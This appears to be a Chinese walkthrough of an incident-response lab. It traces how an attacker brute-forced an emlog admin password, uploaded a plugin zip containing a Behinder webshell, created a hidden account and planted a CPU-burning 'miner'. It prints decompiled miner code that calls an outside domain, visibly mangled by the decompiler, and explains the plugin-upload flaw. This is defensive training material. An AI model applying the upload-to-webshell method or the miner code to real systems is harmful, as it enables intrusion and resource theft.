SfTian 知攻善防hvv模拟靶机Web1 # Web1靶机 ## 情况描述 小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析 ## 通关条件 1. 攻击者的shell密码 2. 攻击者的IP地址 3. 攻击者的隐藏账户名称 4. 攻击者挖矿程序和矿池域名 5. ~~尝试修复漏洞(可选)~~ ## 服务器环境 - Windows Server 2022 - PHPStudy - 用户Administrator - 密码Zgsf@admin.com ## 解题思路 ### 观察环境 进入到系统之后可以发现挖矿服务并没有启动,但是桌面有一个PHPSTUDY,于是启动WAMP环境来看一眼程序环境和log 打开WAMP可以看到程序是emlog 找到Apache/Log可以发现一个`access.log.1708905600`的log日志文件,打开后进行进一步观察 ### 分析Apache Log 第60行开始会有一个 `192.168.126.1` 的IP访问网站,并且在第98行开始通过执行弱口令爆破来访问admin的权限,所以大致可以推断出来黑客的IP地址为 `192.168.126.1` 向下大致在5860行可以推断出攻击者在进行上传插件,上传成功后攻击者通过访问自己的webshell来进行攻击,目录在基于网站根目录的 `/content/plugins/tips/shell.php` ### 分析webshell 打开 `/content/plugins/tips/shell.php` 可以发现是冰蝎马,通过解密 `$key` 的内容可以找到shell密码为 `rebeyond` ### 寻找隐藏账户 由于在administrator的桌面没有发现什么可疑程序,于是打开 `计算机管理-本地用户和组` 来查看,可以发现攻击者用户名为 `hack168$` 关闭远程登陆权限 删除Administrator组权限 禁用用户 ### 寻找挖矿程序 通过常规寻找方式可以在 `C:\Users\hack168$\Desktop` 发现一个叫做 `Kuang.exe` 的Py打包程序,通过pyinstextracter 分离程序得到打包前的文件,查找后可以找到可疑pyc程序 `Kuang.pyc` 通过在线反编译获取到矿池地址 `http://wakuang.zhigongshanfang.top` ```python import multiprocessing import requests def cpu_intensive_task(): try: requests.get('http://wakuang.zhigongshanfang.top', 10, **('timeout',)) finally: continue continue continue if __name__ == '__main__': cpu_count = multiprocessing.cpu_count() processes = (lambda .0: [ multiprocessing.Process(cpu_intensive_task, **('target',)) for _ in .0 ])(range(cpu_count)) for process in processes: process.start() for process in processes: process.join() ``` ## 答案 1. 攻击者IP地址 `192.168.126.1` 2. 攻击者shell密码 `rebeyond` 3. 攻击者用户名 `hack168$` 4. 攻击者程序 `Kuang.exe` 矿池域名 `http://wakuang.zhigongshanfang.top` ![答案](https://download.imxbt.cn/upload/6db154ceddcff8244f51c5b2915a0523.png) ## 复盘 ### admin弱口令 攻击者通过不断爆破弱口令拿到admin操作权从而 `upload plugin` 并通过程序逻辑错误植入webshell进而创建 `hack168$` 账户植入挖矿程序 ## 程序本身的逻辑漏洞 ### 参考网址 - [CVE-2023-44973](https://github.com/yangliukk/emlog) - [NVD - CVE-2023-44974 (nist.gov)](https://nvd.nist.gov/vuln/detail/CVE-2023-44974) - [使用PHP压缩文件和解压文件 (ZipArchive类的使用)_php的ziparchive类的大小限制-CSDN博客](https://blog.csdn.net/luoluozlb/article/details/72853885) - [CMS代码审计之emlog 6.0 - FreeBuf网络安全行业门户](https://www.freebuf.com/vuls/195351.html) ### 漏洞分析 通过查看 `Apache accesslog` 可以看到攻击者访问的是 `http://uri/admin/plugin.php` 那么我们可以在该文件进行代码审查,因为是上传功能的逻辑错误,所以我们可以直接找到 `$action == 'upload_zip'` 代码块(相关内容会在代码块中打注释) ```PHP if ($action == 'upload_zip') { LoginAuth::checkToken(); //判断是否登录 $zipfile = isset($_FILES['pluzip']) ? $_FILES['pluzip'] : ''; //判断是否传入zip文件 if ($zipfile['error'] == 4) { emDirect("./plugin.php?error_d=1"); } if ($zipfile['error'] == 1) { emDirect("./plugin.php?error_g=1"); } if (!$zipfile || $zipfile['error'] >= 1 || empty($zipfile['tmp_name'])) { //判断文件是否上传成功 emMsg('插件上传失败, 错误码:' . $zipfile['error']); } if (getFileSuffix($zipfile['name']) != 'zip') { //判断后缀是否为zip emDirect("./plugin.php?error_f=1"); } $ret = emUnZip($zipfile['tmp_name'], '../content/plugins/', 'plugin'); //解压上传的zip到指定目录/content/plugins/ switch ($ret) { case 0: emDirect("./plugin.php?activate_install=1"); break; case -1: emDirect("./plugin.php?error_e=1"); break; case 1: case 2: emDirect("./plugin.php?error_b=1"); break; case 3: emDirect("./plugin.php?error_c=1"); break; } } ``` 由于不知道对应错误和emUnZip在哪里我直接看到上面 `require_once` 的调用顺着文件找到了 `include/lib/common.php` 找到emUnZip和对应错误码 ```PHP /** * 解压zip * @param string $zipfile 要解压的文件 * @param string $path 解压到该目录 * @param string $type * @return int */ function emUnZip($zipfile, $path, $type = 'tpl') { if (!class_exists('ZipArchive', FALSE)) { return 3;//zip模块问题 } $zip = new ZipArchive(); if (@$zip->open($zipfile) !== TRUE) { return 2;//文件权限问题 } $r = explode('/', $zip->getNameIndex(0), 2); $dir = isset($r[0]) ? $r[0] . '/' : ''; switch ($type) { case 'tpl': $re = $zip->getFromName($dir . 'header.php'); if (false === $re) { return -2; } break; case 'plugin': $plugin_name = substr($dir, 0, -1); $re = $zip->getFromName($dir . $plugin_name . '.php'); //判断是否存在与压缩包名称相同的PHP文件 if (false === $re) { return -1; } break; case 'backup': $sql_name = substr($dir, 0, -1); if (getFileSuffix($sql_name) != 'sql') { return -3; } break; case 'update': break; } if (true === @$zip->extractTo($path)) { $zip->close(); return 0; } return 1; //文件权限问题 } ``` 可知,如果我们想要上传一个插件的话那么压缩包里必然会有一个和压缩包名字一样的.php文件,例如 `Shell.zip` 上传时必定会判断压缩包里面是否有 `Shell.php` 文件,那么在判断成功之后会直接解压到目标目录,获取目录后即可执行攻击者所编写的Webshell 取消回复 发表新评论 提交评论